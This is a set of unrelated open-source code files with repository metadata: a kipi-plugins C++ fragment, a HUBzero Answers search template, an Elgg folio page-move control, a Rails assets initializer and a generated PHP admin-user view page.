item->setGPSData(newData);
undoInfo.readNewDataFromItem(item);
//undoCommand->addUndoInfo(GPSUndoCommand::UndoInfo(itemIndex, oldData, newData, oldTagList, newTagList));
undoCommand->addUndoInfo(undoInfo);
}
qCDebug(KIPIPLUGINS_LOG)<<targetIndex.data(Qt::DisplayRole).toString();
undoCommand->setText(i18np("1 image snapped to '%2'",
"%1 images snapped to '%2'", snappedIndices.count(), targetIndex.data(Qt::DisplayRole).toString()));
emit(signalUndoCommand(undoCommand));
}
} // namespace KIPIGeolocatorPlugin
|
matthias-fue/kipi-plugins
|
geolocator/gpsbookmarkowner.cpp
|
C++
|
gpl-2.0
| 10,229
|
<?php
/**
* HUBzero CMS
*
* Copyright 2005-2015 HUBzero Foundation, LLC.
*
* Permission is hereby granted, free of charge, to any person obtaining a copy
* of this software and associated documentation files (the "Software"), to deal
* in the Software without restriction, including without limitation the rights
* to use, copy, modify, merge, publish, distribute, sublicense, and/or sell
* copies of the Software, and to permit persons to whom the Software is
* furnished to do so, subject to the following conditions:
*
* The above copyright notice and this permission notice shall be included in
* all copies or substantial portions of the Software.
*
* THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR
* IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY,
* FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE
* AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER
* LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM,
* OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN
* THE SOFTWARE.
*
* HUBzero is a registered trademark of Purdue University.
*
* @package hubzero-cms
* @copyright Copyright 2005-2015 HUBzero Foundation, LLC.
* @license http://opensource.org/licenses/MIT MIT
*/
// No direct access
defined('_HZEXEC_') or die();
if (Pathway::count() <= 0)
{
Pathway::append(
Lang::txt(strtoupper($this->option)),
'index.php?option=' . $this->option
);
}
Document::setTitle(Lang::txt('COM_ANSWERS'));
$this->css()
->js();
if (!$this->filters['filterby'] || $this->filters['filterby'] == 'none')
{
$this->filters['filterby'] = 'all';
}
$sortdir = $this->filters['sort_Dir'] == 'DESC' ? 'ASC' : 'DESC';
?>
<header id="content-header">
<h2><?php echo Lang::txt('COM_ANSWERS'); ?></h2>
<?php if (User::authorise('core.create', $this->option)) { ?>
<div id="content-header-extra">
<p>
<a class="icon-add add btn" href="<?php echo Route::url('index.php?option=' . $this->option . '&task=new'); ?>">
<span><?php echo Lang::txt('COM_ANSWERS_NEW_QUESTION'); ?></span>
</a>
</p>
</div><!-- / #content-header-extra -->
<?php } ?>
</header>
<section class="main section">
<div class="section-inner hz-layout-with-aside">
<div class="subject">
<form method="get" action="<?php echo Route::url('index.php?option=' . $this->option); ?>">
<div class="container data-entry">
<input class="entry-search-submit" type="submit" value="<?php echo Lang::txt('COM_ANSWERS_SEARCH'); ?>" />
<fieldset class="entry-search">
<label for="entry-search-field"><?php echo Lang::txt('COM_ANSWERS_SEARCH_LABEL'); ?></label>
<input type="text" name="q" id="entry-search-field" value="<?php echo $this->escape($this->filters['search']); ?>" placeholder="<?php echo Lang::txt('COM_ANSWERS_SEARCH_PLACEHOLDER'); ?>" />
<input type="hidden" name="option" value="<?php echo $this->option; ?>" />
<input type="hidden" name="area" value="<?php echo $this->escape($this->filters['area']); ?>" />
<input type="hidden" name="sortby" value="<?php echo $this->escape($this->filters['sortby']); ?>" />
<input type="hidden" name="sortdir" value="<?php echo $this->escape($this->filters['sort_Dir']); ?>" />
<input type="hidden" name="filterby" value="<?php echo $this->escape($this->filters['filterby']); ?>" />
<input type="hidden" name="task" value="<?php echo $this->escape($this->task); ?>" />
</fieldset>
</div><!-- / .container -->
<div class="container">
<?php if (!User::isGuest()) { ?>
<nav class="entries-filters">
<ul class="entries-menu user-options">
<li>
<a<?php echo ($this->filters['area'] == '') ? ' class="active"' : ''; ?> href="<?php echo Route::url('index.php?option=' . $this->option . '&task=search&filterby=' . urlencode($this->filters['filterby']).'&sortby=' . urlencode($this->filters['sortby'])); ?>">
<?php echo Lang::txt('COM_ANSWERS_FILTER_EVERYTHING'); ?>
</a>
</li>
<li>
<a<?php echo ($this->filters['area'] == 'mine') ? ' class="active"' : ''; ?> href="<?php echo Route::url('index.php?option=' . $this->option . '&task=search&area=mine&filterby=' . urlencode($this->filters['filterby']).'&sortby=' . urlencode($this->filters['sortby'])); ?>">
<?php echo Lang::txt('COM_ANSWERS_QUESTIONS_I_ASKED'); ?>
</a>
</li>
<li>
<a<?php echo ($this->filters['area'] == 'assigned') ? ' class="active"' : ''; ?> href="<?php echo Route::url('index.php?option=' . $this->option . '&task=search&area=assigned&filterby=' . urlencode($this->filters['filterby']).'&sortby=' . urlencode($this->filters['sortby'])); ?>">
<?php echo Lang::txt('COM_ANSWERS_QUESTIONS_RELATED_TO_CONTRIBUTIONS'); ?>
</a>
</li>
<?php
foreach (Event::trigger('answers.onQuestionsFilters') as $opt)
{
if (empty($opt))
{
continue;
}
?>
<li>
<a<?php echo ($this->filters['area'] == $opt['value']) ? ' class="active"' : ''; ?> href="<?php echo Route::url('index.php?option=' . $this->option . '&task=search&area=' . $opt['value'] . '&filterby=' . urlencode($this->filters['filterby']).'&sortby=' . urlencode($this->filters['sortby'])); ?>">
<?php echo $opt['label']; ?>
</a>
</li>
<?php
}
?>
</ul>
</nav>
<?php } ?>
<nav class="entries-filters">
<ul class="entries-menu order-options" data-label="<?php echo Lang::txt('COM_ANSWERS_SORT'); ?>">
<?php if ($this->config->get('banking')) { ?>
<li>
<a<?php echo ($this->filters['sortby'] == 'rewards') ? ' class="active"' : ''; ?> href="<?php echo Route::url('index.php?option=' . $this->option . '&task=search&area=' . urlencode($this->filters['area']).'&filterby=' . urlencode($this->filters['filterby']).'&sortby=rewards&sortdir=' . $sortdir); ?>" title="<?php echo Lang::txt('COM_ANSWERS_SORT_REWARDS_TITLE'); ?>">
<?php echo Lang::txt('COM_ANSWERS_SORT_REWARDS'); ?>
</a>
</li>
<?php } ?>
<li>
<a<?php echo ($this->filters['sortby'] == 'votes') ? ' class="active"' : ''; ?> href="<?php echo Route::url('index.php?option=' . $this->option . '&task=search&area=' . urlencode($this->filters['area']).'&filterby=' . urlencode($this->filters['filterby']).'&sortby=votes&sortdir=' . $sortdir); ?>" title="<?php echo Lang::txt('COM_ANSWERS_SORT_POPULAR_TITLE'); ?>">
<?php echo Lang::txt('COM_ANSWERS_SORT_POPULAR'); ?>
</a>
</li>
<li>
<a<?php echo ($this->filters['sortby'] == 'date') ? ' class="active"' : ''; ?> href="<?php echo Route::url('index.php?option=' . $this->option . '&task=search&area=' . urlencode($this->filters['area']).'&filterby=' . urlencode($this->filters['filterby']).'&sortby=date&sortdir=' . $sortdir); ?>" title="<?php echo Lang::txt('COM_ANSWERS_SORT_RECENT_TITLE'); ?>">
<?php echo Lang::txt('COM_ANSWERS_SORT_RECENT'); ?>
</a>
</li>
</ul>
<ul class="entries-menu filter-options" data-label="<?php echo Lang::txt('COM_ANSWERS_FILTER'); ?>">
<li>
<a<?php echo ($this->filters['filterby'] == 'all' || $this->filters['filterby'] == '') ? ' class="active"' : ''; ?> href="<?php echo Route::url('index.php?option=' . $this->option . '&task=search&area=' . urlencode($this->filters['area']).'&filterby=all&sortby=' . urlencode($this->filters['sortby'])); ?>" title="<?php echo Lang::txt('COM_ANSWERS_FILTER_ALL_TITLE'); ?>">
<?php echo Lang::txt('COM_ANSWERS_FILTER_ALL'); ?>
</a>
</li>
<li>
<a<?php echo ($this->filters['filterby'] == 'open') ? ' class="active"' : ''; ?> href="<?php echo Route::url('index.php?option=' . $this->option . '&task=search&area=' . urlencode($this->filters['area']).'&filterby=open&sortby=' . urlencode($this->filters['sortby'])); ?>" title="<?php echo Lang::txt('COM_ANSWERS_FILTER_OPEN_TITLE'); ?>">
<?php echo Lang::txt('COM_ANSWERS_FILTER_OPEN'); ?>
</a>
</li>
<li>
<a<?php echo ($this->filters['filterby'] == 'closed') ? ' class="active"' : ''; ?> href="<?php echo Route::url('index.php?option=' . $this->option . '&task=search&area=' . urlencode($this->filters['area']).'&filterby=closed&sortby=' . urlencode($this->filters['sortby'])); ?>" title="<?php echo Lang::txt('COM_ANSWERS_FILTER_CLOSED_TITLE'); ?>">
<?php echo Lang::txt('COM_ANSWERS_FILTER_CLOSED'); ?>
</a>
</li>
</ul>
</nav>
<table class="questions entries">
<caption>
<?php
$total = $this->results->count();
$s = ($total > 0) ? $this->filters['start']+1 : $this->filters['start'];
$e = ($total > ($this->filters['start'] + $this->filters['limit'])) ? ($this->filters['start'] + $this->filters['limit']) : $total;
if ($this->filters['search'] != '')
{
echo Lang::txt('COM_ANSWERS_SEARCH_FOR', $this->escape($this->filters['search']), Lang::txt('COM_ANSWERS_FILTER_' . strtoupper($this->filters['filterby'])));
}
else
{
echo Lang::txt('COM_ANSWERS_FILTER_' . strtoupper($this->filters['filterby']));
}
?>
<span>(<?php echo Lang::txt('COM_ANSWERS_RESULTS_TOTAL', $s, $e, $total); ?>)</span>
</caption>
<tbody>
<?php if ($total > 0) { ?>
<?php
foreach ($this->results as $row)
{
// author name
$name = Lang::txt('COM_ANSWERS_ANONYMOUS');
if (!$row->get('anonymous'))
{
$name = $this->escape(stripslashes($row->creator->get('name', $name)));
if (in_array($row->creator->get('access'), User::getAuthorisedViewLevels()) && !$row->creator->get('block') && $row->creator->get('approved'))
{
$name = '<a href="' . Route::url($row->creator->link()) . '">' . $name . '</a>';
}
}
$cls = ($row->isclosed()) ? 'answered' : '';
$cls = ($row->isReported()) ? 'flagged' : $cls;
$cls .= ($row->get('created_by') == User::get('id') ? ' mine' : '');
$icn = ($row->isclosed()) ? 'icon-comments' : 'icon-comment-alt';
$icn = ($row->isReported()) ? 'icon-flag' : $icn;
?>
<tr<?php if ($cls) { echo ' class="' . $cls . '"'; } ?>>
<th class="priority-5" scope="row">
<span class="entry-identifier <?php echo $icn; ?>"><?php echo $row->get('id'); ?></span>
</th>
<td>
<?php if (!$row->isReported()) { ?>
<a class="entry-title" href="<?php echo Route::url($row->link()); ?>">
<?php echo $this->escape(strip_tags($row->get('subject'))); ?>
</a><br />
<?php } else { ?>
<span class="entry-title">
<?php echo Lang::txt('COM_ANSWERS_QUESTION_UNDER_REVIEW'); ?>
</span><br />
<?php } ?>
<span class="entry-details">
<?php echo Lang::txt('COM_ANSWERS_ASKED_BY', $name) . ' '; ?>
<span class="entry-date-at"><?php echo Lang::txt('COM_ANSWERS_DATETIME_AT'); ?> </span>
<span class="entry-time"><time datetime="<?php echo $row->created(); ?>"><?php echo $row->created('time'); ?></time> </span>
<span class="entry-date-on"><?php echo Lang::txt('COM_ANSWERS_DATETIME_ON'); ?> </span>
<span class="entry-date"><time datetime="<?php echo $row->created(); ?>"><?php echo $row->created('date'); ?></time> </span>
<span class="entry-details-divider">•</span>
<span class="entry-state">
<?php echo ($row->get('state')==1) ? Lang::txt('COM_ANSWERS_STATE_CLOSED') : Lang::txt('COM_ANSWERS_STATE_OPEN'); ?>
</span>
<span class="entry-details-divider">•</span>
<span class="entry-comments icon-comments-alt">
<a href="<?php echo Route::url($row->link() . '#answers'); ?>" title="<?php echo Lang::txt('COM_ANSWERS_RESPONSES_TO_THIS_QUESTION', $row->get('rcount')); ?>">
<?php echo $row->responses->count(); ?>
</a>
</span>
</span>
</td>
<?php if ($this->config->get('banking')) { ?>
<td class="priority-3 reward">
<?php if ($row->get('reward')) { ?>
<span class="entry-reward">
<?php echo $row->get('points'); ?>
<a class="icon-coins" href="<?php echo $this->config->get('infolink'); ?>" title="<?php echo Lang::txt('COM_ANSWERS_THERE_IS_A_REWARD_FOR_ANSWERING', $row->get('points')); ?>">
<?php echo Lang::txt('COM_ANSWERS_POINTS'); ?>
</a>
</span>
<?php } ?>
</td>
<?php } ?>
<td class="priority-4 voting">
<?php
$this->view('_vote')
->set('option', $this->option)
->set('item', $row)
->set('vote', $row->ballot())
->display();
?>
</td>
</tr>
<?php } // end foreach ?>
<?php } else { ?>
<tr class="noresults">
<td>
<?php echo Lang::txt('COM_ANSWERS_NO_RESULTS'); ?>
</td>
</tr>
<?php } // end if (count($this->results) > 0) { ?>
</tbody>
</table>
<?php
// Initiate paging
$pageNav = $this->results->pagination;
$pageNav->setAdditionalUrlParam('q', $this->filters['search']);
$pageNav->setAdditionalUrlParam('filterby', $this->filters['filterby']);
$pageNav->setAdditionalUrlParam('sortby', $this->filters['sortby']);
$pageNav->setAdditionalUrlParam('area', $this->filters['area']);
$pageNav->setAdditionalUrlParam('sortdir', $this->filters['sort_Dir']);
echo $pageNav;
?>
<div class="clearfix"></div>
</div><!-- / .container -->
</form>
</div><!-- / .subject -->
<aside class="aside">
<div class="container">
<h3><?php echo Lang::txt('COM_ANSWERS_NEED_AN_ANSWER'); ?></h3>
<p>
<?php echo Lang::txt('COM_ANSWERS_CANT_FIND_ANSWER', '<a href="' . Route::url('index.php?option=com_kb') . '">' . Lang::txt('COM_ANSWERS_KNOWLEDGE_BASE') . '</a>', Config::get('sitename')); ?>
</p>
</div><!-- / .container -->
<div class="container">
<h3><?php echo Lang::txt('COM_ANSWERS_GET_STARTED'); ?></h3>
<p>
<?php echo Lang::txt('COM_ANSWERS_GET_STARTED_HELP', Route::url('index.php?option=com_help&component=answers&page=index')); ?>
</p>
</div><!-- / .container -->
<?php if ($this->config->get('banking')) { ?>
<div class="container">
<h3><?php echo Lang::txt('COM_ANSWERS_EARN_POINTS'); ?></h3>
<p>
<?php echo Lang::txt('COM_ANSWERS_START_EARNING_POINTS'); ?> <a href="<?php echo $this->config->get('infolink'); ?>"><?php echo Lang::txt('COM_ANSWERS_LEARN_MORE'); ?></a>.
</p>
</div><!-- / .container -->
<?php } ?>
</aside><!-- / .aside -->
</div><!-- / .section-inner -->
</section><!-- / .main section -->
|
mulligaj/hubzero-cms
|
core/components/com_answers/site/views/questions/tmpl/search.php
|
PHP
|
gpl-2.0
| 15,054
|
<?php
/**
* This function will display a control to move a page
* Warning: Do not change values for field names w/o also updating the save procedure.
*
* @todo Add a recursive check to make sure that this page isn't having its parentpage to set a child page. At the moment,
* the sql query prevents it from being set to a direct descendent. However, a child's child would still be shown in the list,
* and therefore be a valid entry (according to the program).
* @package folio
* @param $page Required, the page being shown.
*/
/*
* Build the html code for a security box.
*
* @returns HTML control information.
*/
function folio_control_page_edit_move( $page ) {
// Find the security information for the page.
global $CFG;
$url = url;
$page_ident = intval($page->page_ident);
$parentpage_ident = intval($page->parentpage_ident);
// Check to see if we're on the homepage.
if ( folio_page_is_homepage( $page ) ) {
// Don't allow moving a homepage.
$run_result = '<input type="hidden" name="parentpage_ident" value="' . $page->parentpage_ident . '" />';
} elseif ( !isloggedin() ) {
// Have to be logged in to move a page.
// mark control as disabled & don't bother loading all of the pages.
$run_result = " <SELECT NAME=\"parentpage_ident\" DISABLED>";
// Get parentpage title
$pages = recordset_to_array(
get_recordset_sql('select page_ident, title from ' . $CFG->prefix . 'folio_page ' .
'WHERE newest = 1 and user_ident = ' . $page->user_ident .
' AND page_ident = ' . $page->parentpage_ident)
);
// build
if ( $pages ) {
// Iterate
foreach ($pages as $potentialpage) {
// Selected
$run_result .= '<OPTION VALUE=' . $potentialpage->page_ident
. " SELECTED=true>" . $potentialpage->title . "\n";
}
$run_result .= "</SELECT><br/>\n"
. "<input type='hidden' name='parentpage_ident' value='{$potentialpage->page_ident}' />\n";
} else {
// No pages. Show control set to homepage & disabled.
$run_result = " <SELECT NAME=\"parentpage_ident\" disabled=TRUE>"
. '<OPTION VALUE="' . $page->parentpage_ident . '" SELECTED=true>Homepage'
. "</SELECT><br/>\n"
. "<input type='hidden' name='parentpage_ident' value='{$potentialpage->page_ident}' />\n";
}
$run_result = templates_draw(array(
'context' => 'databoxvertical',
'name' => 'Parent Page',
'contents' => $run_result
)
);
} else {
// Ok conditions, build the control.
$run_result = " <SELECT NAME=\"parentpage_ident\">";
// Get all titles for active pages belonging to the current user
$pages = recordset_to_array(
get_recordset_sql('select page_ident, title from ' . $CFG->prefix . 'folio_page ' .
'WHERE newest = 1 and user_ident = ' . $page->user_ident .
' AND page_ident <> ' . $page->page_ident .
' AND parentpage_ident <> ' . $page->page_ident .
' order by title')
);
// build
if ( $pages ) {
// Iterate
foreach ($pages as $potentialpage) {
if ($page->parentpage_ident == $potentialpage->page_ident ) {
// Selected
$run_result .= '<OPTION VALUE=' . $potentialpage->page_ident
. " SELECTED=true>" . $potentialpage->title . "\n";
} else {
// !Selected
$run_result .= '<OPTION VALUE=' . $potentialpage->page_ident
. " >" . $potentialpage->title . "\n";
}
}
$run_result .= "</SELECT><br/>\n";
} else {
// No pages. Show control set to homepage & disabled.
$run_result = " <SELECT NAME=\"parentpage_ident\" disabled=TRUE>"
. '<OPTION VALUE="' . $page->parentpage_ident . '" SELECTED=true>Homepage'
. "</SELECT><br/>\n";
}
$run_result = templates_draw(array(
'context' => 'databoxvertical',
'name' => 'Parent Page',
'contents' => $run_result
)
);
}
return $run_result;
}
?>
|
pzingg/saugus_elgg
|
mod/folio/control/page_edit_move.php
|
PHP
|
gpl-2.0
| 4,277
|
# Be sure to restart your server when you modify this file.
# Version of your assets, change this if you want to expire all your assets.
Rails.application.config.assets.version = '1.0'
Rails.application.config.assets.precompile << /\.(?:svg|eot|woff|ttf|svgz|otf)\z/
# Add additional assets to the asset load path
# Rails.application.config.assets.paths << Emoji.images_path
# Precompile additional assets.
# application.js, application.css, and all non-JS/CSS in app/assets folder are already added.
# Rails.application.config.assets.precompile += %w( search.js )
|
l3iodeez/Project-Cohort
|
config/initializers/assets.rb
|
Ruby
|
gpl-2.0
| 568
|
<?php
define("EW_PAGE_ID", "view", TRUE); // Page ID
define("EW_TABLE_NAME", 'tbl_aduser', TRUE);
?>
<?php
session_start(); // Initialize session data
ob_start(); // Turn on output buffering
?>
<?php include "ewcfg50.php" ?>
<?php include "ewmysql50.php" ?>
<?php include "phpfn50.php" ?>
<?php include "tbl_aduserinfo.php" ?>
<?php include "userfn50.php" ?>
<?php
header("Expires: Mon, 26 Jul 1997 05:00:00 GMT"); // Date in the past
header("Last-Modified: " . gmdate("D, d M Y H:i:s") . " GMT"); // Always modified
header("Cache-Control: private, no-store, no-cache, must-revalidate"); // HTTP/1.1
header("Cache-Control: post-check=0, pre-check=0", false);
header("Pragma: no-cache"); // HTTP/1.0
?>
<?php
// Open connection to the database
$conn = ew_Connect();
?>
<?php
$Security = new cAdvancedSecurity();
?>
<?php
if (!$Security->IsLoggedIn()) $Security->AutoLogin();
if (!$Security->IsLoggedIn()) {
$Security->SaveLastUrl();
Page_Terminate("login.php");
}
?>
<?php
// Common page loading event (in userfn*.php)
Page_Loading();
?>
<?php
// Page load event, used in current page
Page_Load();
?>
<?php
$tbl_aduser->Export = @$_GET["export"]; // Get export parameter
$sExport = $tbl_aduser->Export; // Get export parameter, used in header
$sExportFile = $tbl_aduser->TableVar; // Get export file, used in header
?>
<?php
if (@$_GET["a_uname"] <> "") {
$tbl_aduser->a_uname->setQueryStringValue($_GET["a_uname"]);
} else {
Page_Terminate("tbl_aduserlist.php"); // Return to list page
}
// Get action
if (@$_POST["a_view"] <> "") {
$tbl_aduser->CurrentAction = $_POST["a_view"];
} else {
$tbl_aduser->CurrentAction = "I"; // Display form
}
switch ($tbl_aduser->CurrentAction) {
case "I": // Get a record to display
if (!LoadRow()) { // Load record based on key
$_SESSION[EW_SESSION_MESSAGE] = "No records found"; // Set no record message
Page_Terminate("tbl_aduserlist.php"); // Return to list
}
}
// Set return url
$tbl_aduser->setReturnUrl("tbl_aduserview.php");
// Render row
$tbl_aduser->RowType = EW_ROWTYPE_VIEW;
RenderRow();
?>
<?php include "header.php" ?>
<script type="text/javascript">
<!--
var EW_PAGE_ID = "view"; // Page id
//-->
</script>
<script language="JavaScript" type="text/javascript">
<!--
// Write your client script here, no need to add script tags.
// To include another .js script, use:
// ew_ClientScriptInclude("my_javascript.js");
//-->
</script>
<p><span class="edge"> Admin Profile <br>
<br>
<a href="tbl_aduserlist.php">Back to Admin List</a> <?php if ($Security->IsLoggedIn()) { ?>
<a href="<?php echo $tbl_aduser->EditUrl() ?>">Edit</a>
<?php } ?>
<?php if ($Security->IsLoggedIn()) { ?>
<a href="<?php echo $tbl_aduser->DeleteUrl() ?>">Delete</a>
<?php } ?>
</span>
</p>
<?php
if (@$_SESSION[EW_SESSION_MESSAGE] <> "") {
?>
<p><span class="ewmsg"><?php echo $_SESSION[EW_SESSION_MESSAGE] ?></span></p>
<?php
$_SESSION[EW_SESSION_MESSAGE] = ""; // Clear message
}
?>
<p>
<form>
<table class="ewTable">
<tr class="ewTableRow">
<td class="ewTableHeader">Username</td>
<td<?php echo $tbl_aduser->a_uname->CellAttributes() ?>>
<div<?php echo $tbl_aduser->a_uname->ViewAttributes() ?>><?php echo $tbl_aduser->a_uname->ViewValue ?></div>
</td>
</tr>
<tr class="ewTableRow">
<td class="ewTableHeader">First Name</td>
<td<?php echo $tbl_aduser->a_first_name->CellAttributes() ?>>
<div<?php echo $tbl_aduser->a_first_name->ViewAttributes() ?>><?php echo $tbl_aduser->a_first_name->ViewValue ?></div>
</td>
</tr>
<tr class="ewTableRow">
<td class="ewTableHeader">Last Name</td>
<td<?php echo $tbl_aduser->a_last_name->CellAttributes() ?>>
<div<?php echo $tbl_aduser->a_last_name->ViewAttributes() ?>><?php echo $tbl_aduser->a_last_name->ViewValue ?></div>
</td>
</tr>
<tr class="ewTableRow">
<td class="ewTableHeader">E-mail</td>
<td<?php echo $tbl_aduser->a_email->CellAttributes() ?>>
<div<?php echo $tbl_aduser->a_email->ViewAttributes() ?>><?php echo $tbl_aduser->a_email->ViewValue ?></div>
</td>
</tr>
<tr class="ewTableRow">
<td class="ewTableHeader">Mobile</td>
<td<?php echo $tbl_aduser->a_mobile->CellAttributes() ?>>
<div<?php echo $tbl_aduser->a_mobile->ViewAttributes() ?>><?php echo $tbl_aduser->a_mobile->ViewValue ?></div>
</td>
</tr>
<tr class="ewTableRow">
<td class="ewTableHeader">Password</td>
<td<?php echo $tbl_aduser->a_pwd->CellAttributes() ?>>
<div<?php echo $tbl_aduser->a_pwd->ViewAttributes() ?>><?php echo $tbl_aduser->a_pwd->ViewValue ?></div>
</td>
</tr>
</table>
</form>
<p>
<script language="JavaScript" type="text/javascript">
<!--
// Write your table-specific startup script here
// document.write("page loaded");
//-->
</script>
<?php include "footer.php" ?>
<?php
// If control is passed here, simply terminate the page without redirect
Page_Terminate();
// -----------------------------------------------------------------
// Subroutine Page_Terminate
// - called when exit page
// - clean up connection and objects
// - if url specified, redirect to url, otherwise end response
function Page_Terminate($url = "") {
global $conn;
// Page unload event, used in current page
Page_Unload();
// Global page unloaded event (in userfn*.php)
Page_Unloaded();
// Close Connection
$conn->Close();
// Go to url if specified
if ($url <> "") {
ob_end_clean();
header("Location: $url");
}
exit();
}
?>
<?php
// Load row based on key values
function LoadRow() {
global $conn, $Security, $tbl_aduser;
$sFilter = $tbl_aduser->SqlKeyFilter();
$sFilter = str_replace("@a_uname@", ew_AdjustSql($tbl_aduser->a_uname->CurrentValue), $sFilter); // Replace key value
// Call Row Selecting event
$tbl_aduser->Row_Selecting($sFilter);
// Load sql based on filter
$tbl_aduser->CurrentFilter = $sFilter;
$sSql = $tbl_aduser->SQL();
if ($rs = $conn->Execute($sSql)) {
if ($rs->EOF) {
$LoadRow = FALSE;
} else {
$LoadRow = TRUE;
$rs->MoveFirst();
LoadRowValues($rs); // Load row values
// Call Row Selected event
$tbl_aduser->Row_Selected($rs);
}
$rs->Close();
} else {
$LoadRow = FALSE;
}
return $LoadRow;
}
// Load row values from recordset
function LoadRowValues(&$rs) {
global $tbl_aduser;
$tbl_aduser->a_uname->setDbValue($rs->fields('a_uname'));
$tbl_aduser->a_first_name->setDbValue($rs->fields('a_first_name'));
$tbl_aduser->a_last_name->setDbValue($rs->fields('a_last_name'));
$tbl_aduser->a_email->setDbValue($rs->fields('a_email'));
$tbl_aduser->a_mobile->setDbValue($rs->fields('a_mobile'));
$tbl_aduser->a_pwd->setDbValue($rs->fields('a_pwd'));
}
?>
<?php
// Render row values based on field settings
function RenderRow() {
global $conn, $Security, $tbl_aduser;
// Call Row Rendering event
$tbl_aduser->Row_Rendering();
// Common render codes for all row types
// a_uname
$tbl_aduser->a_uname->CellCssStyle = "";
$tbl_aduser->a_uname->CellCssClass = "";
// a_first_name
$tbl_aduser->a_first_name->CellCssStyle = "";
$tbl_aduser->a_first_name->CellCssClass = "";
// a_last_name
$tbl_aduser->a_last_name->CellCssStyle = "";
$tbl_aduser->a_last_name->CellCssClass = "";
// a_email
$tbl_aduser->a_email->CellCssStyle = "";
$tbl_aduser->a_email->CellCssClass = "";
// a_mobile
$tbl_aduser->a_mobile->CellCssStyle = "";
$tbl_aduser->a_mobile->CellCssClass = "";
// a_pwd
$tbl_aduser->a_pwd->CellCssStyle = "";
$tbl_aduser->a_pwd->CellCssClass = "";
if ($tbl_aduser->RowType == EW_ROWTYPE_VIEW) { // View row
// a_uname
$tbl_aduser->a_uname->ViewValue = $tbl_aduser->a_uname->CurrentValue;
$tbl_aduser->a_uname->CssStyle = "";
$tbl_aduser->a_uname->CssClass = "";
$tbl_aduser->a_uname->ViewCustomAttributes = "";
// a_first_name
$tbl_aduser->a_first_name->ViewValue = $tbl_aduser->a_first_name->CurrentValue;
$tbl_aduser->a_first_name->CssStyle = "";
$tbl_aduser->a_first_name->CssClass = "";
$tbl_aduser->a_first_name->ViewCustomAttributes = "";
// a_last_name
$tbl_aduser->a_last_name->ViewValue = $tbl_aduser->a_last_name->CurrentValue;
$tbl_aduser->a_last_name->CssStyle = "";
$tbl_aduser->a_last_name->CssClass = "";
$tbl_aduser->a_last_name->ViewCustomAttributes = "";
// a_email
$tbl_aduser->a_email->ViewValue = $tbl_aduser->a_email->CurrentValue;
$tbl_aduser->a_email->CssStyle = "";
$tbl_aduser->a_email->CssClass = "";
$tbl_aduser->a_email->ViewCustomAttributes = "";
// a_mobile
$tbl_aduser->a_mobile->ViewValue = $tbl_aduser->a_mobile->CurrentValue;
$tbl_aduser->a_mobile->CssStyle = "";
$tbl_aduser->a_mobile->CssClass = "";
$tbl_aduser->a_mobile->ViewCustomAttributes = "";
// a_pwd
$tbl_aduser->a_pwd->ViewValue = "********";
$tbl_aduser->a_pwd->CssStyle = "";
$tbl_aduser->a_pwd->CssClass = "";
$tbl_aduser->a_pwd->ViewCustomAttributes = "";
// a_uname
$tbl_aduser->a_uname->HrefValue = "";
// a_first_name
$tbl_aduser->a_first_name->HrefValue = "";
// a_last_name
$tbl_aduser->a_last_name->HrefValue = "";
// a_email
$tbl_aduser->a_email->HrefValue = "";
// a_mobile
$tbl_aduser->a_mobile->HrefValue = "";
// a_pwd
$tbl_aduser->a_pwd->HrefValue = "";
} elseif ($tbl_aduser->RowType == EW_ROWTYPE_ADD) { // Add row
} elseif ($tbl_aduser->RowType == EW_ROWTYPE_EDIT) { // Edit row
} elseif ($tbl_aduser->RowType == EW_ROWTYPE_SEARCH) { // Search row
}
// Call Row Rendered event
$tbl_aduser->Row_Rendered();
}
?>
<?php
// Set up Starting Record parameters based on Pager Navigation
function SetUpStartRec() {
global $nDisplayRecs, $nStartRec, $nTotalRecs, $nPageNo, $tbl_aduser;
if ($nDisplayRecs == 0) return;
// Check for a START parameter
if (@$_GET[EW_TABLE_START_REC] <> "") {
$nStartRec = $_GET[EW_TABLE_START_REC];
$tbl_aduser->setStartRecordNumber($nStartRec);
} elseif (@$_GET[EW_TABLE_PAGE_NO] <> "") {
$nPageNo = $_GET[EW_TABLE_PAGE_NO];
if (is_numeric($nPageNo)) {
$nStartRec = ($nPageNo-1)*$nDisplayRecs+1;
if ($nStartRec <= 0) {
$nStartRec = 1;
} elseif ($nStartRec >= intval(($nTotalRecs-1)/$nDisplayRecs)*$nDisplayRecs+1) {
$nStartRec = intval(($nTotalRecs-1)/$nDisplayRecs)*$nDisplayRecs+1;
}
$tbl_aduser->setStartRecordNumber($nStartRec);
} else {
$nStartRec = $tbl_aduser->getStartRecordNumber();
}
} else {
$nStartRec = $tbl_aduser->getStartRecordNumber();
}
// Check if correct start record counter
if (!is_numeric($nStartRec) || $nStartRec == "") { // Avoid invalid start record counter
$nStartRec = 1; // Reset start record counter
$tbl_aduser->setStartRecordNumber($nStartRec);
} elseif (intval($nStartRec) > intval($nTotalRecs)) { // Avoid starting record > total records
$nStartRec = intval(($nTotalRecs-1)/$nDisplayRecs)*$nDisplayRecs+1; // Point to last page first record
$tbl_aduser->setStartRecordNumber($nStartRec);
} elseif (($nStartRec-1) % $nDisplayRecs <> 0) {
$nStartRec = intval(($nStartRec-1)/$nDisplayRecs)*$nDisplayRecs+1; // Point to page boundary
$tbl_aduser->setStartRecordNumber($nStartRec);
}
}
?>
<?php
// Page Load event
function Page_Load() {
//echo "Page Load";
}
// Page Unload event
function Page_Unload() {
//echo "Page Unload";
}
?>
|
xavierrivas/new
|
epcst/pcad/tbl_aduserview.php
|
PHP
|
gpl-2.0
| 11,130
|
<?php
/**
* @package Gamuza_Desktop
* @description Visual Component Library for Magento
* @copyright Copyright (c) 2017 Gamuza Technologies (http://www.gamuza.com.br/)
* @author Eneias Ramos de Melo <eneias@gamuza.com.br>
*
* This library is free software; you can redistribute it and/or
* modify it under the terms of the GNU Library General Public
* License as published by the Free Software Foundation; either
* version 2 of the License, or (at your option) any later version.
*
* This library is distributed in the hope that it will be useful,
* but WITHOUT ANY WARRANTY; without even the implied warranty of
